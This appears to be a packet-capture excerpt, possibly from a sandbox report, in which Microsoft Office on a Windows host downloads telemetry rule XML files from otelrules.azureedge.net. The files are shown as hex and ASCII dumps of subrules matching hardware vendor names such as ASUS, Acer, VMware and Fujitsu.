2024-10-30 06:28:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:09 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062809Z-16849878b78qwx7pmw9x5fub1c00000005p000000000sqg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:09 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:09 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062809Z-17c5cb586f65j4snvy39m6qus400000002x000000000bkgy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:09 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:09 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:09 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062809Z-16849878b78wv88bk51myq5vxc0000000810000000000v5d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:09 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:09 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062809Z-16849878b7828dsgct3vrzta7000000005zg00000000g6xh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:10 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:10 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 2fd6bd5d-d01e-007a-394f-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062810Z-16849878b78z2wx67pvzz63kdg00000006b000000000238x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:10 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:10 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:10 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062810Z-16849878b786fl7gm2qg4r5y7000000007z00000000055gn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:10 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:10 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:10 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:10 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062810Z-16849878b78fhxrnedubv5byks00000005yg00000000ahs4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:10 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:10 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:10 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062810Z-16849878b78zqkvcwgr6h55x9n0000000740000000006rpv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:10 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:10 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:10 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 647ea265-801e-0067-10e5-29fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062810Z-r197bdfb6b46krmwag4tzr9x7c00000007k0000000003k63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:10 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:11 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062811Z-16849878b78g2m84h2v9sta29000000006h000000000b6pz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:11 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062811Z-16849878b78qwx7pmw9x5fub1c00000005v00000000046np x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:11 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
